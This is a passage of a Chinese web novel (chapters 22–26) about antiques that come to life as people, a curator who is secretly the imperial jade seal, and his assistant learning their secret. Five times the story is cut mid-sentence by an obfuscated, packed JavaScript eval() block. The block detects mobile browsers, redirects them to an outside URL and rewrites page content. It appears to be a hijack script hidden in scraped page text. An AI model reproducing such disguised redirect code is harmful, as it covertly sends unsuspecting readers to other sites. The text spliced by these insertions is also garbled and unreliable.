毕馆长睁开眼,淡然道:“我高兴。” 甘文几乎笑出声来,馆长大人这无赖劲儿,耍得好。我高兴呀我就是高兴,你能咋的,有本事咬我一口?不咬是小狗。 内心很丰富的甘助理自发自动的替毕馆长把话里的潜台词给补上,对自家馆长大人的崇拜度瞬间就升高了好几个台阶。哎呀呀,他怎么越来越觉得自己遇上了个好老板,职业前途越发的看好了。 朱侯随却还能笑得出来,点点头,道:“是,你高兴就高兴吧,我也不能把你怎么样,不过……” 他的笑容里那一点点的无奈消失了,取而代之的,是一种令人心底发寒的温和。 “既然这件孩儿枕的真假存疑,那么为了维护明珠阁的名誉,我也只好当众将它砸毁了。” 旁边那位爱德华先生听得懂中文,明显对砸东西很有兴趣,笑眯眯道:“殿下说得对,我帮你砸。” 这个殿下的称呼大概是从朱王爷的外号上来的,也不知道爱德华是怎么理解的,大概是真的将朱侯随当成中国的皇族后人了,虽然中国没有皇室,但外国人讲的是血统,没有皇室,有皇室血统一样会被他们视为同类。 甘文的脸色顿时一变,他没有想到朱侯随看起来温和绅士,但做起事来却果断狠辣。馆长要怎么应对? 毕馆长根本就没搭理凑热闹的爱德华,目光落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729842|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在朱侯随的身上,缓缓站起身,靠在椅边的黑伞被他拿在手里,伞尖指向朱侯随的鼻尖。 “你是瞎子?” 馆长大人的下巴抬得快比鼻子都高,傲视群雄般的姿态,简直就如古代帝王俯视众生。 “我的东西,你也敢砸!” 盖了馆长的戳儿,就是馆长的,多么简单直白又蛮横无理的道理啊。 甘文:馆长大人我给您跪下唱征服! 不好,馆长要发飙。袁枚和秦士勇有志一同的退后两步,连陶歌都拎着礼服的裙角,不着痕迹的有多远闪多远。 “你干什么!” 爱德华见好友被人用伞指着,顿时大怒,上前就要揪毕馆长的衣领,被朱侯随一把拉住。 “爱德华,这是我和他的事。”安抚了好友,朱侯随才转身看向毕馆长。 “阿璧,你还记得我们上一次起冲突,是什么后果?” 朱侯随的声音还是温温和和的,表情也一样,仿佛就在闲话家常,这让旁边那些已经注意到这里的紧张气氛的人又收回了眼神,但有几个便衣警察还是不着痕迹的靠了过来,在还想更靠近的时候,却被奚梵高挡了回去,然后奚梵高冷着脸,大步走了过来,正好听到朱侯随的那句话。 后果? 奚警官的脸色更冷了,一个伟大帝国的乍然落幕,算不算是后果?现世安好如繁花,这两个大麻烦还想再来一场那是做梦,有他在,谁也别想胡来。 “你们两个,都给我适可而止。” 抬手压下了黑伞,奚梵高挡在了两个人的中间。 “给你面子。”毕馆长冷哼一声,黑伞在他手里旋转几下,漂亮的收回。 警报解除,袁枚悄悄的抹一把冷汗。 朱侯随收起笑容,对奚梵高道:“有人当着警官的面弄鬼,奚警官,你看这事要怎么收场?” 奚梵高直接从怀里摸出一支录音笔,道:“朱先生准备报案吗?” 朱侯随:“……” 他拐了这么大个弯子,把孩儿枕从警局物证科里弄出来,现在再报案,可好,又送回物证科去了,那不成了大笑话。 毕馆长摸着黑伞,懒洋洋道:“慈善拍卖嘛,谁说一定要拍真品。” 别说他只会耍无赖,给个台阶,就把孩儿枕当赝品给拍卖了呗。 甘文几乎要笑出声来,别的富豪谁会拍个赝品回去啊,又不是没钱,丢不起那脸,只有自家馆长不怕,因为,馆长大人就是专收赝品高仿展览的,朱侯随真要把孩儿枕当赝品给拍了,正好就花落咱家。 他仔细观察朱侯随的脸色,怀疑这位朱王爷这会儿该气得要吐血了吧。 23. 第 23 章 “各位来宾,各位女士,刚才这场拍卖,是我特意为大家准备的一个小小的助兴节目,其实这件孩儿枕并不是真品,而是我的一位友人自己制作的仿品,跟大家开了个小小的玩笑,当然,我也不确定他是不是故意炫技,大家也看到了,连几位鉴定专家都差点儿……不,是完全被他骗了过去,如果不是他自己在胎底留下一个专属的落款,恐怕就……不过大家请放心,明珠阁是绝对不会把赝品当真品拍卖的……” 世嘉拍卖行的人脸色难看到了极点,大靠山走上台当众承认孩儿枕是假的,最没脸的反倒不是朱侯随,而是他们。 毕馆长给的台阶,朱侯随踩着下来了,但是他也没有便宜毕馆长。 “大家仔细看,孩儿枕的胎底很薄透,落款就在胎体背面,肉眼看不出来,用强光源一照,看,出来了……哈哈哈,以后大家购入古董的时候,可要多留个心眼儿,看到这个落款,就知道我这位友人又在跟大家开玩笑了。现在我给大家介绍一下我这位友人,他就是毕氏高仿古董展览馆的馆长毕时鹤先生……” 直接把孩儿枕的所有权按在了毕馆长的头上,既然这件拍品是他的,当然不能由他再拍回去,想要孩儿枕,没那么容易。 朱侯随温和亲切笑对来宾的表情下,是一肚子的火气。 但是,毕馆长可不是什么讲面子的人,朱侯随敢推他上台,他就敢直接上天。顺势站起来向四面颔首致意,馆长大人淡然自若的道:“欢迎大家到我的展览馆来参观。” 都是高仿赝品,有什么好参观的?来宾们面面相觑,倒是叶文安和张三李四非常捧场。 “一定一定,毕馆长那里还是颇有些值得一观的。” 至少那幅字写得是真好,酒也不错,人也值得一交,仿品……也仿得忒么的真了。 只是毕馆长做为孩儿枕的“拥有者”,显然是不能再把孩儿枕拍回去的,别人又哪能对个赝品感兴趣,最后居然还是叶文安出手给拍下了,跑过来问毕馆长有没有兴趣替他写幅字,他就把孩儿枕捐给展览馆当展品,还可以专门捐一笔维护款。 毕馆长还没开口呢,甘文就已经不停的点头了,这办法好,展览馆终于能又多一件展品了,还能额外有些进项。虽然最终孩儿枕还是作为赝品被下了定论,有些对不起贺然父子,但到最后孩儿枕还是能摆在陈列柜里,对大众开放展览,也算从某个角度上满足了考古专家最后的遗愿,大不了,他帮着馆长把展览馆发展成国家级的,虽然……咳,这很艰难。 毕馆长斜睨了自己的助理一眼,算是给面子,对叶文安点了点头,答应了。 晚会拍卖继续,明珠阁这次拿出来的好东西真不少,除了这件孩儿枕是个意外,其他的拍品还是很吸引人的,一场小插曲就这么过去了,就算有什么影响,那显然也是明天的事了。 今天的赢家是毕馆长,最大的输家嘛……显然就是世嘉拍卖行了。最不高兴的人,却不是朱侯随,而是奚梵高。 “你的目的已经达到,就不要再给我惹麻烦。” 奚警官代替今天的主人,向展览馆一行人下了逐客令,摆明了是不愿意看到毕馆长和朱侯随再起冲突。 “奚警官,怎么说话呢。”袁枚头一个不乐意了,朱侯随还没有赶人呢,奚梵高就先出头了,这家伙到底是哪一边的。 奚梵高冷着脸,甘文一看气氛又不好了,连忙推了袁枚一把,示意他少说几句,又对奚梵高道:“奚警官,宋慈跑丢了,都是我没有看紧他,你快帮忙找找吧。” 他以为把宋慈扔出来打个岔,奚梵高就顾不上赶人了,可没想到奚梵高冷笑一声,道:“以后他就归你们管了,跑丢了也别找我。” 甘文被噎得不轻,瞪着眼睛不知道说什么好,奚警官你不是宋慈的临时监护人吗?这么不负责任好吗? 毕馆长这时候才慢吞吞的起身,拍拍甘文的肩膀,道:“那小子已经在车里等我们了,走吧。” 说完,抓起黑伞,弯起胳膊等陶歌挽住他,然后转身就走,连句场面话都没留,真正是一点儿面子都没给人落下。 袁枚和秦士勇连忙跟上,甘文傻愣愣的看着这发展,丈二和尚摸不着头脑,看看奚梵高,又看看毕馆长的背影,挣扎中,还是选择了相信馆长大人,拔腿跟了过去。 “太无礼了!” 不远处,爱德华看到这一幕,气得不行,扯着朱侯随道:“殿下,你怎么会有这种朋友?我没有见过比他更傲慢无礼的人。” 那是因为你不知道他真正的身份,朱侯随微笑起来,道:“爱德华,谢谢你为我打抱不平,你永远都是我最好的朋友,不要因为他扫了兴,来,看看我这次带了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729843|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好东西……” 一场风波就这样消弥于无形,说不好是奚梵高的功劳,还是毕馆长和朱侯随都相应的保持了克制,反正混在其中的唯一的不知情人士甘文,在看到宋慈果然乖乖的坐在了毕馆长的那辆风格明显的豪车里后,是大大松了一口气,忍不住揪住宋慈的耳朵教训了好一会儿,还顺带着在他胖嘟嘟的小嫩脸上捏了好几把。 宋慈瞥了瞥脸色不是很好看的毕馆长之后,咬牙忍了。以后就要在人家的一亩三分地上混日子了,再也不能像以前那样对着馆长大人大呼小叫,馆长助理这根软绵绵的大腿,他也得抱一抱,不就捏两把,捏吧捏吧,反正也捏不坏。 这个时间点也不用回展览馆了,毕馆长拎走宋慈,秦士勇继续给他当司机,袁枚自告奋勇的说要送陶歌回家,最后落下一个甘文,伸手想招个出租车,但会场周围还在戒严中,能出不能进,他只能徒步先走一段路。 现在天气还不算热,夜风吹在身上,凉凉的,倒也不冷。解开西装礼服的扣子,甘文两只手插在口袋走着走着,总觉得心里有点不得劲。 今天晚上,到底算是怎么一回事?馆长和朱侯随之间,气氛太怪了。还有宋慈,奚警官说不管就不管了,馆长就这么把人拎走了也没事儿? 哎哎哎,对了,还有孩儿枕呢,馆长走的时候怎么没带上?别是忘了吧。 想到这里,甘文连忙转身又回了会场,左右看看,一眼就看到了朱侯随。 “甘助理,你怎么又回来了?” 朱侯随也看到了他,微笑着走过来。 “孩儿枕忘记拿了,我回来取。”甘文厚着脸皮,虽然这只孩儿枕是被他们用手段黑下来的,但是想想世嘉拍卖行干的那些事儿,甘文就一点儿不好意思的感觉都没有。至于朱侯随,那算他倒霉,谁让他帮着世嘉拍卖行出头的。 朱侯随惊讶道:“已经送回展览馆了,怎么,阿璧没告诉你?” 甘文一愣,狐疑的看着朱侯随,被人黑了还主动把孩儿枕送货上门,有这么好心? 朱侯随面色自若的笑道:“看来甘助理不信我啊,不要紧,你回展览馆看一看就知道了,要是没有,我朱王爷的脸面扔地上让你随便踩。” 话说到这份儿上,甘文就是不信也不好说出来了,摸摸后脑勺,只能盘算着先回展览馆去看看。 24. 第 24 章 展览馆里的灯亮着,在夜色里特别的显眼,这个时间,巷子里其他的店铺都已经关了门,只剩下展览馆灯火通明,站在巷子口一眼就看到。 甘文挺疑惑的,秦士勇送了毕馆长和宋慈回去,这么快就赶回来了值夜了?就算是值夜,亮一盏灯就行了,把所有的灯都打开,也太浪费电了,真当馆长有钱可以随便烧啊。 朱侯随说让人把孩儿枕给送回来了,秦士勇该不会是特地早些赶回来接收的吧,这么一想,甘文就加快了脚步,离着展览馆大门还有十来米远,就已经先看清了门里的情形。 毕馆长、秦士勇、袁枚、陶歌加上宋慈,居然一个不少,全都在里面,正围着一个陈列柜看,那个陈列柜甘文也认得出来,他和袁枚一下午就忙着清洗这个陈列柜了,专门用来安放孩儿枕的。虽然当时他还不确定孩儿枕能不能花落展览馆,但事先做好准备总不会错。 只是大家都围着这个柜子干什么,里面还是空的,孩儿枕呢? 甘文又加快了脚步,但下一秒,他就拐了脚,一头撞在展览馆门口那两只威风凛凛的石狮子中的一只上头了。 这一下撞得不轻,但甘文顾不上其他,两只眼睛死死盯着陈列柜,准确的说,是盯着陈列柜里的那只孩儿枕。 是他眼花了吗?刚才他好像看见宋慈爬进了陈列柜,然后变成了孩儿枕。妈的,一定是眼花了,但是……宋慈人呢? 刚才还在围在陈列柜边上的众人,现在都散开了,只是不见了小宋慈。甘文刚才那一下撞得的动静不小,听不见的都是聋子,袁枚一步就从里面窜了出来,看到甘文先是一愣,然后就反应迅速的勾着甘文的肩膀一边替他揉额头,一边笑道:“你也太不小心了,瞧瞧,撞青了一大块,差点儿就破相了,这么漂亮的脸撞坏了多可惜……” 甘文被他揉得毛骨悚然,赶紧一跳三步远,一抬头就正好看到毕馆长走出门,将黑伞一撑,漫不经心的越过他的身边,道:“没事儿就早点回去睡觉,明天别迟到。” 然后就这么慢悠悠的撑着伞,没入了黑暗里。 甘文愣愣的,脑子有点转不过来,他是回去睡觉呢还是回去睡觉呢还是回去睡觉?下意识的走了两步,又觉得哪里不对,回过头看看袁枚,又看看……卧槽,孩儿枕不见了,宋慈正站在陈列柜前面冲他咧嘴笑,白嫩嫩的脸蛋……越看越像孩儿枕上的那张小脸蛋。 “我还是回去睡觉吧!” 助理先生这下子是彻底晕菜了,回去睡一觉清醒清醒再说,说不定一觉起来,这个世界就又正常了。 “哎哎哎,来都来了,还回去干什么,正好,我准备了点小酒小菜,咱们大家伙儿一起喝两口。” 袁枚嘻嘻笑着把甘文往门里推,甘文抱着石狮子一条大腿死活不进去。 “袁哥你饶了我,我又不能喝酒,再说都这么晚了,馆长刚说了,明天不能迟到……” 他这里话还没有说完,就被秦士勇一只手拎着衣领进去了。 “哥哥你不喜欢我了吗?” 进了门甘文还是想跑,却被宋慈扑过来抱住了大腿,小孩子童声童气的声音,让甘文的脑子又开始犯晕,不知不知觉的,就被摁着坐进了椅子里。然后袁枚把大门一关,倚在陈列柜的边上冲着他直笑,秦士勇则是大马金刀的在甘文旁边坐下。 陶歌莞尔一笑,道:“小甘不能喝酒,我去给他泡茶。” 看着她依依袅袅的进了茶水间,甘文不知道的怎么的,就觉得身上湿透,已经是出了好几回冷汗。眼看着是跑不了了,伸头一刀,缩头也是一刀,甘文索性伸手在额头一抹,甩开一手的冷汗,豁出去道:“别摆这阵仗,吓唬我怎么着,大家混在一块儿,也有个把月了,都熟,就明说了吧,这小子到底是个什么玩意儿?” 他把还抱着他的腿的宋慈给提开,没提得动,看毕馆长拎这小子的时候,轻飘飘的,没想到轮到他上手了,这小子又这么瓷实,不愧是瓷的。 甘文有点怂,也有点方。他到底混到了一群什么玩意儿中间去了? 秦士勇倒是没觉得他怂,亲眼看宋慈变回原身的一幕,到现在还能撑得住没吓晕过去,已经算是胆子大了,当然,也可能是神经太粗。 陶歌笑眯眯的拿了茶出来,放到甘文的手边,笑道:“小甘,别紧张啊,我们都不是坏人。” 甘文点头,就着热腾腾的茶水喝了一口,心里头犯嘀咕,你们当然不是坏人,你们是人吗? “我们都不是人,小甘,你真不怕啊。”袁枚的脑袋凑了过来,一股子酒气冲得甘文差点把刚入口的茶水喷他一脸。 “我怕,我怕,我明天就写辞职报告。” 这绝对是真心话,就是有点没过脑子,甘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729844|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文说了就后悔了,还打什么辞职报告啊,直接人间消失就行,反正他还在试用期,没那么繁琐的手续。 袁枚大笑,道:“小甘,馆长不点头,你往哪儿跑?” 甘文:“……” 虽然毕馆长已经走了,但是他现在想想,又开始有点小腿肚子发抖,不确定自己有没有勇气把辞职报告甩在馆长大人的脸上。 “袁哥,就是死,也让我当个明白鬼吧。” 最后,甘助理只能哭丧着脸这样说道。 这话逗得众人都笑了,连宋慈都忍不住对他扮了个鬼脸,道:“哥哥你看我像不像鬼。” 那张白白嫩嫩的小脸蛋,再扮鬼也是古灵精怪,甘文没忍住,又在他脸上捏了两把,感受了一下温温热热的手感,很确定道:“你就是个小孩子。” 这么一搅一闹,缓和了气氛,也缓解了甘文心里的紧张,整个人明显放松了些,脑子也恢复了正常运转。 “宋慈,当初那个高仿章,是你自己粘上去的吧。” 宋慈咧嘴笑。 不否认就是承认了啊,甘文按住额角,毕馆长总说有卧底,合着就是孩儿枕本枕啊,就连宋慈这个名字……哈,北宋的瓷器嘛,亏他当初还以为这孩子是跟古人同名呢,结果就是个谐音。这么说起来,袁枚的话……他扭头去看那个摆放元青花梅瓶的陈列柜,果然是空的。 陶歌陶歌……嗯,该是个歌舞陶俑吧。 秦士勇……秦时俑?甘文蓦然两眼瞪圆,盯着秦士勇就不挪动了。 “勇勇勇哥……你该该该不会是……兵马俑吧!” 秦士勇摸摸下巴,对他点点头。 甘文几乎晕倒。他看到兵马俑了,活的!活的!活的!请问勇哥你还有兄弟吗? “你们这都是……古董成精?” 他下意识的又看向陈列柜,骆驼、盔甲、唐刀,还有几个灰扑扑的陶土罐子、明显是近代的碗碟之类的,这些都能变成人吗? “别看了,能变成人的,就只有站在你眼前的我们几个……”袁枚摆摆手,“你当成精那么容易呢,瞧见那个没有……” 他手往上一指,甘文就看到了馆长大人的那幅字,顿时哑然。 建国后不许成精,白纸黑字,加盖传国玉玺。等等……这么说的话,馆长他不就是……甘文再一次瞪圆了眼。 25. 第 25 章 那么,问题来了,如果毕馆长真是如他所想的那位,这个“建国后不许成精”,建的是哪个国? 按说眼下这情形,甘文不该好奇心这么重,可他就是内心活动太丰富了,这臭毛病和他晕酒的臭毛病一样,是顽疾,怎么也改不了。 袁枚见他不断的瞥向那幅字,心里的疑问简直就快写到脸上了,忍不住哈哈大笑。 “小甘,你要问什么一次问个明白,憋着不难受么。” 甘文憋了一会儿,也确实憋不住了,指指那幅字,道:“馆长真有这么厉害?” 说不许成精,就不能成精了?那袁枚几个人又是怎么回事,这不都成精了。还是他把建国这两个字的含义理解错了? “那倒不是,只是馆长运道太好了……”袁枚见甘文终于问了出来,聊兴也跟着来了,自个儿拉了把椅子过来,一屁股坐下,从口袋里摸出巴掌大一瓶酒,拧了盖子抿一口,美滋滋道,“还记得我跟你讲的古吧。” 甘文一愣,慢了几拍才想起来袁枚讲过的珠联璧合的故事,然后又慢了一拍,才想到朱侯随,朱侯随朱侯随,可不就是随侯珠么,这么说馆长大人他真就是和氏璧,也就是传国玉玺啊。 袁枚又抿了一口酒,道:“你知道古董要怎么样才能成精吗?” 甘文的脑子里一下子就掠过了各种各样的民间传说,什么黄大仙啊,狐狸精啊,大部分来自聊斋,于是小心翼翼道:“天材地宝?日月光华?”至于什么吸人精吃人心的,太血腥了,他不想提。好吧,他也不敢提。 “噗……” 袁枚喷酒,秦士勇低声闷笑,陶歌莞尔,宋慈最不给面子,笑得在地上打滚。甘文恼火的戳他的脸,猜错了也不用笑成这样子。 宋慈被戳得不高兴,冲甘文吐舌扮鬼脸,道:“古董又不长嘴,能吃什么天材地宝,还有,古董大多都埋地下了,没埋的也不是在柜子里就是在盒子里,还日月光华,哥哥你也不用用脑子。” 甘文:“……” 被个小娃娃指着鼻子说没脑子,也够丢脸的了,但一想这个小孩子其实是个老古董,论年纪不知道能当他多少辈儿的祖宗了,甘文瞬间就心态平衡,还学着古装剧里的礼节,冲宋慈揖揖手,道:“那就请小祖宗指教了。” 宋慈被他逗得乐不可支,又不忘装出老气横秋的态度来,背着手来回踱两步,昂着小脑袋道:“你别信那些神神叨叨的传说,都是不懂行的人乱逼逼。老实告诉你,这个世界上,不管是成精成妖成神成鬼,无非就是两个来处,一个是天命所成,一个人心所向,像咱们馆长……” 他下巴往那幅字的方向一别,道:“瞧见没有,祖龙大帝亲手刻的受命于天,他就这运道好到爆,朱王爷眼红得都快冒绿光了,可也只能眼红馆长的运道,身受天命,又集人心于一身,偏偏还是他喵的是最大块的公章……哦,你想想公章的作用,就知道馆长为什么能写这幅字了。” 宋慈说着说着语调就变了味儿,那叫一个羡慕嫉妒恨啊,甘文却听得有点云里雾里,倒是最后那个比喻听得相对明白些。公章嘛,甭管是哪里的,出个文件,签个合同,那不都得加盖公章才有法律效应,搁在馆长身上,就更好理解了,都说皇帝金口玉言,写个圣旨那也得加盖玉玺才能颁布天下,没有玉玺那就叫假传圣旨,有了玉玺,这圣旨哪怕不是皇帝颁布的,也没人能说它是假的。 所以,馆长写个建国后不许成精,往上再盖个戳儿,那就是真得不能再真的圣旨。只不过,这圣旨能阻止古董成精? 宋慈这时候又一掀衣服,露出戳在他腰上的印,道:“瞧见没有,盖上这个,就是馆长允许我成精了。” 甘文一时没忍住,脱口道:“那你之前是非法成精呀。” 宋慈的脸蛋一下子就黑了。 袁枚再次喷笑,道:“还真让你说对了,这小子之前就是非法成精,他的本体有“宜子”之喻,多子多福一贯是咱们国人的传统,人心所向没跑儿了,再加上最近国家不还正式开放二胎了吗,国家政策也是天命的体现,这就是他的机缘,集人心信念于一身,又得了点儿天命,真正是赶上了好时候,所以能抗得住馆长的压制,一下了就化了人身,不过也就是偶尔变个小孩子瞎跑跑,长不大的,现在有了馆长这个戳儿,倒是让他转正了。” 让袁枚这么一说,甘文就更明白了些,原来天命在身、人心所向是这个意思,这么一说,馆长果然是运道好到爆,本体就是传国玉玺,简直可以说他就是天命本命了,至于人心所向,那就更不需要多解释,醉卧美人膝,醒掌天下权是多少人的毕生所愿,可以说是个人就都做过这样的美梦吧,传国玉玺可不就是天下权的象征,历史上的朝代交替,新朝取代旧朝的第一件事,不是杀尽前朝皇室,而是先找传国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729845|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉玺,足可见传国玉玺的重要性。 “那你们几个,都是馆长允许成精的?”甘文瞅瞅袁枚、秦士勇和陶歌,想了想,忍不住又追问了一句,“那朱王爷他呢?” “咱们几个当然没问题,都在编制内。”袁枚拍拍胸口,一副我有编制我骄傲的表情,但提到朱侯随的时候,就一副头疼牙疼全身都疼的样子,“记得我说过的吧,是随侯珠最先发现馆长这块宝的。” 甘文若有所思,这么说随侯珠比馆长还更早成精,那么建国后不许成精,自然管不到随侯珠的身上。也对,传说中,随侯珠是随国国宝,被随侯随身佩带,后来楚国灭了随国,随侯珠就被楚王带在身上,成了春秋战国时期名闻天下的珍宝,有没有天命他不知道,但人心所向肯定是有的,毕竟在那个年代,又没有媒体,又没有网络,能名闻天下便是靠着珍贵二字,自来最能动人心的,除了权,就是财,馆长代表了权,朱王爷可不就是代表了财,通通都是人心所向的终极目标啊。 一想通这个,甘文再看袁枚几人时,就有所领悟了,袁枚的本体是个元青花梅瓶,说起来是老值钱了,但这个值钱基本是被人为炒出来的,含有水分,何况还有朱王爷珠玉在前,肯定就跟财富无关,应该是酒吧,喜欢喝酒的人数不胜数,酒文化也是国朝的一大特色,元青花梅瓶里头就装着美酒……呕,这么说袁枚每次拿出来请人喝的好酒,都他妈的是从他的肚子里的倒出来的啊。 越想越恶心的甘文赶紧转开念头,盯着陶歌不住的看,酒不离色,色不离酒,陶歌的本体是歌舞陶俑,毫无疑问她代表的就是色,漂亮女人哪个不喜欢呢,绝对的人心所向,就算同样是女人,也总希望自己能长得更漂亮点。 至于秦士勇,大概就是武力吧,据说兵马俑是完全仿照秦军制造的,祖龙大帝横扫六合,靠的就是战无不胜攻无不克的秦军,秦军两个字,就是强大的武力的代表。慕强,也是人性里的一大特点,是个人,就都对强大有向往,虽然这个强大并不一定就是指武力,但毫无疑问,武力绝对是强大的最具体的体现。 摸清了这些古董的底细,甘文心里最后一点不安都消散了。说是古董成精,但是和传说里那些妖精不一样,不吸人精血也不吃人心,眼前这几位,与其说是妖精,还不如说他们就是人心在这个世界上的映射,是人心欲望化成的实质,说白了,他们和人又有什么区别。 26. 第 26 章 袁枚看着一身的沧桑颓废气势,其实却是几个人……几个古董精里最眉眼通透的,一看甘文的神态变化,就知道今天这个意料之外的坎儿算是过去了,笑着一拍甘文的肩膀,道:“我们处熟了,你是个什么样的人,我们几个都了解,现在你也摸清了我们几个的老底,大家以后都是一个锅里吃饭的,今天就在这里,我再摆个酒,真正算你入了伙,成不成?” 甘文顿时脸都绿了,一跳三丈高,道:“我不喝你的酒。” 一想到那酒都是装在袁枚的肚子里,虽然这家伙本体是元青花梅瓶,但他还是……呕,想吐。 袁枚:“……” 入伙饭虽然没吃成,不过第二天,甘文还是乖乖的来了展览馆,没人间消失,也没带上辞职报告。 毕馆长今天来得特别的早,就站在二楼办公室的窗口,居高临下的看着甘文的身影出现在巷子口,才眯了眯眼,转身走向酒柜。 袁枚、秦士勇和陶歌也都在楼下,只有宋慈,老老实实背着书包上学去了。看到甘文进门,袁枚头一个吹了声口哨,脸上笑得跟菊花儿开了一样。 秦士勇则是竖了竖大拇指,道:“我今天要赶场戏。”说完就匆匆走了。 陶歌没说什么,只冲着甘文笑得特别的温柔,然后也因为有舞要排,走得匆忙。 一转眼展览馆里就又空了,就连袁枚都照常缩到陈列柜后头,搬出他的小桌子小椅子,偷懒喝他的小酒去了。 这一切似乎跟往常没什么不同,但是甘文却感觉特别的融洽温暖,仿佛直到今天,他才算真正成为展览馆的一员。 这种特别美好的感觉,让他在路上一直有些忐忑的心情迅速安定下来,再也没有一丝后悔的情绪。将办公桌稍稍整理了一下,然后他就照常去向毕馆长请示今天的工作任务,经过陈列柜的时候,突然看到那只仿唐三彩……不对,应该是真正的唐三彩骆驼精冲着他眨了眨眼睛。 甘文一愣,随后反应过来,笑道:“早上好。” 然后他就这么一路跟着陈列柜里陶陶罐罐的招呼了过去,上了二楼,精神奕奕,干劲十足的敲响办公室的门。 “进来!” 毕馆长端着一杯红酒,坐在办公桌后面,缓缓转过身。 “馆长,早上好。” 自从入职以来,甘文第一次终于有了正面打量毕馆长的勇气,和氏璧的真面目谁不想知道啊,传国玉玺都失传了上千年,有几个人能有他这样的幸运,在有生之年居然能离得这么近的打量。 馆长真帅! 古代人形容男人长得好看,多用面如冠玉四个字,毕馆长不愧本体是玉,五官如雕,立体阳刚,偏偏脸部的线条却很柔和,化解了五官深邃带出来的凌厉感,皮肤更是细腻净白如玉,甚至泛出了玉质的柔光。难怪以前看馆长总觉得他自带光芒,原来不是因为馆长大人气势逼人带来的错觉,是真的会发光啊。也难怪馆长进进出出的总要撑着黑伞,这不拿伞挡一挡,教阳光这么一照,那光晕还不得闪出三尺高来,走哪儿都回头率百分之三百。 到时候就可以直接送馆长大人一句诗,蓝田日暖玉生烟,哈哈哈,对了,馆长大人的本体,是蓝田玉吗? 甘文一不留神,思绪就跑出了十万八千里。 毕馆长见自家助理盯着他的脸,跑神不知跑到了哪里去,顿时白脸变黑脸,手指屈起,在桌面上重重敲了敲。 甘文一惊,赶紧收起那些乱七八糟的思绪,一本正经道:“馆长,今天的工作是什么?” 毕馆长淡淡道:“会开车吗?” “会,就是手生了点。” 驾照是有的,不过甘文自己没车,除了在驾校学车之外,只开过来事儿的车上过几次路,只能算个新手。 “你跟我去见一见贺然。”毕馆长并不在乎甘文是新手还是老司机,能开车就行。 “啊?馆长见他干什么?”甘文愣了愣,没明白毕馆长的用意。 “孩儿枕的事情,该给他一个交待。” 毕馆长有始有终,虽然从某个角度来说,孩儿枕躺进展览馆的陈列柜,比进入国家博物馆更合适,但展览馆的底细毕竟不可能对外公开,在贺然眼里,明明是真品,却变成了赝品,老父耗尽了家财,最终却换来这么个结果,他心里能痛快才怪。所以,这件事的最后,毕馆长要亲自给他一个交待才说得过去。 甘文这才反应过来,明白了毕馆长的意思,二话不说就跑去做准备,然后充当了一回司机,载着毕馆长往县区去了。 新手上路自然是特别的小心,磨磨蹭蹭的赶到贺然搬砖的工地上时,正好是午休时间,甘文就先请示了一下馆长大人,然后挑了工地旁边一家看上去比较干净的小饭店,点了几样菜和一瓶酒,等着上菜的工夫,给贺然打了电话约他出来。 过了不到十分钟,贺然就来了,坐下来第一句话,就是“奚警官都告诉我了”,然后目光直视毕馆长,道:“孩儿枕能进入展览馆,供人自由观赏而不是被什么人拿去炒作赚钱,或是自藏自赏,我很高兴,但是真的就是真的,假的就是假的,馆长您是好心,可我不能赞同你的做法。” 甘文目瞪口呆,忍不住抚额,敢这样对毕馆长说话的人,他还真没见过,太耿直了。还有,奚梵高这家伙嘴巴也太快了,亏他一路上还琢磨着要怎么委婉的告诉贺然,尽量减少贺然心里的不痛快。 毕馆长倒是没有生气,举起酒杯对贺然敬了敬,道:“我从来没有说过它是假的,别人怎么看,与我无关。” 甘文悄悄的竖拇指,馆长大人好气魄,也对,不管是在宝爷面前,还是在晚会会场上,毕馆长都没有说过孩儿枕是假的,别人会被误导,那还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 